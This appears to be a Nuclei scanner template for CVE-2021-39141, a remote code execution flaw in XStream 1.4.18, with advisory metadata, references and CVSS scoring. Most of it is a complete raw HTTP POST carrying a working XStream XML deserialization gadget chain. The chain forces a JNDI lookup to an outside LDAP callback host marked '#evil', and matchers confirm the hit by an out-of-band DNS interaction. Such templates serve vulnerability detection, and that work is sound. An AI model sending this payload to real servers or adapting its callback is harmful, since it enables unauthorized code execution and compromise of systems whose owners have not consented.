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id : CVE-2021-39141
info :
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name : XStream 1.4.18 - Remote Code Execution
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author : pwnhxl
severity : high
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description : |
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XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
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reference :
- http://x-stream.github.io/CVE-2021-39141.html
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- https://x-stream.github.io/CVE-2021-39141.html
- https://github.com/x-stream/xstream/security/advisories/GHSA-g5w6-mrj7-75h2
- https://security.netapp.com/advisory/ntap-20210923-0003/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-39141
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score : 8.5
cve-id : CVE-2021-39141
cwe-id : CWE-502,CWE-434
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epss-score : 0.11231
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tags : cve,cve2021,xstream,deserialization,rce
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metadata :
max-request : 1
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http :
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- raw :
- |
POST / HTTP/1.1
Host : {{Hostname}}
Content-Type : application/xml
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
<owner/>
<managedObjectManagerClosed>false</managedObjectManagerClosed>
<databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
<stubHandlers>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<com.sun.xml.internal.ws.client.sei.StubHandler>
<bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
<indices>
<int>0</int>
</indices>
<getters>
<com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
</getters>
<accessors>
<com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
<val_-isJAXBElement>false</val_-isJAXBElement>
<val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
<type>int</type>
<field>
<name>hash</name>
<clazz>java.lang.String</clazz>
</field>
</val_-getter>
<val_-isListType>false</val_-isListType>
<val_-n>
<namespaceURI/>
<localPart>hash</localPart>
<prefix/>
</val_-n>
<val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
<type>java.lang.String</type>
<method>
<class>javax.naming.InitialContext</class>
<name>doLookup</name>
<parameter-types>
<class>java.lang.String</class>
</parameter-types>
</method>
</val_-setter>
<outer-class>
<propertySetters>
<entry>
<string>serialPersistentFields</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>[Ljava.io.ObjectStreamField;</type>
<field>
<name>serialPersistentFields</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>java.util.Comparator</type>
<field>
<name>CASE_INSENSITIVE_ORDER</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>long</type>
<field>
<name>serialVersionUID</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>value</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>[C</type>
<field>
<name>value</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>int</type>
<field reference='../../../../../val_-getter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
</propertySetters>
<propertyGetters>
<entry>
<string>serialPersistentFields</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>[Ljava.io.ObjectStreamField;</type>
<field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>java.util.Comparator</type>
<field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>long</type>
<field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>value</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>[C</type>
<field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
</entry>
</propertyGetters>
<elementLocalNameCollision>false</elementLocalNameCollision>
<contentClass>java.lang.String</contentClass>
<elementDeclaredTypes/>
</outer-class>
</com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
</accessors>
<wrapper>java.lang.Object</wrapper>
<bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
<dynamicWrapper>false</dynamicWrapper>
</bodyBuilder>
<isOneWay>false</isOneWay>
</com.sun.xml.internal.ws.client.sei.StubHandler>
</entry>
</stubHandlers>
<clientConfig>false</clientConfig>
</databinding>
<methodHandlers>
<entry>
<method reference='../../../databinding/stubHandlers/entry/method'/>
<com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
<owner reference='../../../..'/>
<method reference='../../../../databinding/stubHandlers/entry/method'/>
<isVoid>false</isVoid>
<isOneway>false</isOneway>
</com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
</entry>
</methodHandlers>
</handler>
</dynamic-proxy>
<string>ldap://{{interactsh-url}}/#evil</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol
words :
- "dns"
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- type : word
part : body
words :
- "timestamp"
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- "com.thoughtworks.xstream"
condition : or
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- type : word
part : header
words :
- "application/json"
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- type : status
status :
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- 500
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# Enhanced by md on 2023/04/13